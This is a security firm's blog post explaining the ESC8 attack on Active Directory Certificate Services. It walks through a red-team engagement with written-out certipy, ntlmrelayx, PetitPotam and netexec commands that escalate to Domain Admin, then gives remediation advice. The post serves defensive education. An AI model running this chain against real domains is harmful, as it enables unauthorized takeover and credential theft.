ESC8 Attack Guide for Windows Environments
This guide covers the ESC8 Attack, a high-severity attack vector in Active Directory Certificate Services (AD CS) that exploits the Web Enrollment feature alongside NTLM relay attacks.
This guide covers the ESC8 Attack, a high-severity attack vector in Active Directory Certificate Services (AD CS) that exploits the Web Enrollment feature alongside NTLM relay attacks. In environments where Web Enrollment is enabled but not secured, attackers can coerce a domain controller or another privileged system to perform NTLM authentication, and then relay that authentication to the AD CS Web Enrollment pages. By doing so, the attacker obtains certificates in the context of high-privilege accounts—potentially leading to a full compromise of Active Directory.
Lazy Summary
In an Active Directory Certificate Services (AD CS) environment, the “ESC8” attack vector arises when the Web Enrollment feature is both enabled and misconfigured. Overly permissive certificate templates and unprotected NTLM authentication paths can allow attackers to relay domain controller (or other high-privilege) credentials to the Web Enrollment endpoints.
1. Enable HTTPS on AD CS Web Enrollment sites to encrypt traffic and reduce relay attack surfaces.
2. Restrict or disable NTLM to minimize the risk of relayed credential attacks across the domain.
3. Harden certificate templates by limiting permissions and enrollment rights to prevent unauthorized certificate issuance.
Context
Active Directory Certificate Services (AD CS) is Microsoft’s implementation of a Public Key Infrastructure (PKI), provided as a Windows Server role. By integrating closely with Active Directory, AD CS enables secure issuance and management of X.509 certificates for encryption, digital signing, and authentication.
The process typically works as follows:
- A client generates a public-private key pair.
- The public key (along with identifying details and the requested certificate template) is included in a Certificate Signing Request (CSR).
- The CSR is submitted to the Enterprise CA server, which verifies the client’s permissions in Active Directory and checks that the selected template allows the requested certificate.
- If approved, the CA creates the certificate using the template’s settings (e.g., Enhanced Key Usages (EKUs), cryptographic configurations, and issuance requirements).
- Finally, the CA signs the certificate with its private key and returns it to the client, completing the issuance process.
ESC8 Attack
The ESC8 attack exploits the HTTP-based certificate enrollment in Active Directory Certificate Services (AD CS), where NTLM is used for authentication instead of HTTPS. Because NTLM is vulnerable to relay attacks, an attacker can intercept or induce an NTLM authentication request and forward it to the Certificate Authority (CA). This relay causes the CA to issue a certificate for the targeted account, which could be a Domain Admin or even a domain controller.
Attackers commonly generate NTLM authentication requests by leveraging legacy protocols such as mDNS or LLMNR, or by using forced authentication techniques. If successful, the attacker gains the permissions of the compromised account—potentially allowing full domain takeover.
Identifying ESC8 Attack Vulnerability
To successfully exploit ESC8 in an Active Directory Certificate Services (AD CS) environment, the following conditions must be met:
- HTTP-Based Certificate Enrollment — The CA must have HTTP-based certificate enrollment enabled (instead of HTTPS), which allows NTLM authentication.
- Misconfigured Certificate Template Permissions — A certificate template must allow a low-privileged user or an attacker-controlled account to enroll for certificates. Templates with overly permissive permissions (e.g., allowing Domain Users to enroll) are particularly vulnerable.
- Access to Relay NTLM Authentication — The attacker must have the ability to intercept or elicit NTLM authentication requests from a privileged user or machine account.
Common techniques to trigger NTLM authentication include:
- LLMNR/mDNS poisoning.
- SMB-based forced authentication.
- Other coercion techniques like DFSCoerce, PetitPotam or Print Spooler abuse.
- Network Access to the Certificate Authority (CA) — The attacker must be able to communicate with the CA over the network, specifically to its HTTP certificate enrollment endpoint.
- Relay Setup — An NTLM relay tool (e.g., Impacket’s ntlmrelayx.py) must be set up to intercept and forward authentication requests to the CA to request certificates on behalf of the targeted account.
Exploitation Example
During a recent red team exercise, we discovered a misconfigured CA server that exposed an HTTP-based certificate enrollment interface vulnerable to NTLM relaying. We exploited this weakness as a low-privilege domain user and escalated privileges to a domain administrator. With that level of access, we gained complete control of the target domain controller and could compromise any account or server within the domain.
Here is an example output showing a CA configuration vulnerable to the ESC8 attack. To detect this issue, we used certipy-ad with the following command, which enumerates all vulnerable CA servers:
$ certipy-ad find -u 'user' -p '[REDACTED]' -dc-ip <DC-IP> -vulnerable -stdout
[*] Found 86 certificate templates
[*] Found 7 certificate authorities
We exploited this vulnerability using Impacket’s ntlmrelayx together with PetitPotam. Here's how:
First, we set up an NTLM relay server to forward incoming NTLM authentication requests from the domain controller to the vulnerable CA, requesting a certificate with the DomainController template:
$ impacket-ntlmrelayx -smb2support --target 'http://<FQDN-CA>/certsrv/certfnsh.asp' --adcs --template DomainController
Next, we forced the domain controller to authenticate against our relay server using PetitPotam:
$ python3 PetitPotam.py -u 'user' -p '[REDACTED]' -d <Domain> <Controlled-Machine> <DC-IP>
When PetitPotam triggered the authentication, ntlmrelayx issued a valid certificate for the domain controller account, allowing us to escalate our privileges.
Below is an example of the expected output from PetitPotam when it successfully initiates the authentication attempt.
We successfully relayed this authentication attempt to the CA server’s vulnerable endpoint at http://<ca-server>/certsrv/certfnsh.asp, obtaining a domain controller certificate. The screenshot below shows how this was achieved.
We used the Certipy tool to extract the NTLM hash of the DC04 server’s machine account from the certificate we obtained.
Then, we leveraged the machine account credentials to perform a DCSync attack, giving us the NTLM hashes of the Domain Admins. We ran NetExec to enumerate all members of the Domain Admins group:
$ netexec ldap 10.200.1.34 -u 'user' -p '[REDACTED]' -M group-mem -o GROUP='Domain Admins'Finally, we used secretsdump.py to extract the NTLM hash of a high-privileged account and complete our attack chain.
Post-Exploitation Example
We could not perform a pass-the-hash attack on the domain controller at 10.200.1.34 due to restrictions on Domain Admins users. Instead, we used the NTLM hash to obtain a Kerberos Ticket Granting Ticket (TGT) and performed a pass-the-ticket attack. This gave us access to the domain controller’s shares, including ADMIN$ and C$, confirming Domain Admin privileges.
To further illustrate the impact, we used our acquired TGT with psexec and the -k option—leveraging the locally exported .ccache file—to obtain an interactive session on the domain controller, as shown in the figure below.
We then extracted additional password hashes from the domain controller for potential lateral movement across the environment.
When a child domain joins a forest, it automatically creates a two-way, transitive trust with its parent. Because we had Domain Admin privileges in the child domain, we could have escalated to Domain Admin in the parent domain as well. However, we did not pursue that path since the parent domain was out of scope and inaccessible given the network configuration.
By this point, we had full control of the domain controller environment, allowing us to access any computer, create accounts, and browse resources. Any authenticated user could replicate our method of generating certificates to escalate privileges to Domain Admin, effectively taking over the entire domain. Even changing a compromised account’s password offers no protection because an attacker can still authenticate using the valid certificate and subsequently retrieve the new password hash, bypassing password rotation policies entirely.
Remediation
To address the issue of vulnerable web enrollment configurations in AD CS, the team recommends the following actions:
- Remove HTTP support by enabling the Require SSL option. By enforcing protocol signing (HTTPS) it prevents NTLM relaying attacks.
- Enable and require Extended Protection for Authentication (EPA) for both Certificate Authority Web Enrollment and Certificate Enrollment Web Services on AD CS servers, to prevent Man-in-the-Middle (MitM) attacks by binding authentication sessions to TLS sessions.
- Limit access to CA servers to only authorized and trusted administrators, remove unnecessary users from the Cert Publishers group.
- Review CA ACLs to ensure they are not overly permissive. Remove Everyone, Authenticated Users, or other broad groups from CA permissions.
Conclusion
Our discovery of the ESC8 attack in this Active Directory environment underscores how a simple CA misconfiguration—allowing HTTP-based certificate requests—can give attackers a direct path to domain-wide compromise. By exploiting this vulnerability, we escalated privileges to Domain Admin and effectively took control of the entire domain. This highlights the critical need to secure AD CS configurations, enforce HTTPS-based certificate enrollment, and protect privileged accounts to prevent similar attacks in the future.
Where to Go Next:
- Stay updated on security best practices by following the Sentry Blog for more insights on application security.
- Ready to boost application security? Schedule a consultation with security experts today!
Application Penetration Testing
With over 1,400 successful security assessments, our industry-recognized experts are at the forefront of application security. Our team is certified, extensively trained, and ready to help you achieve your security goals.
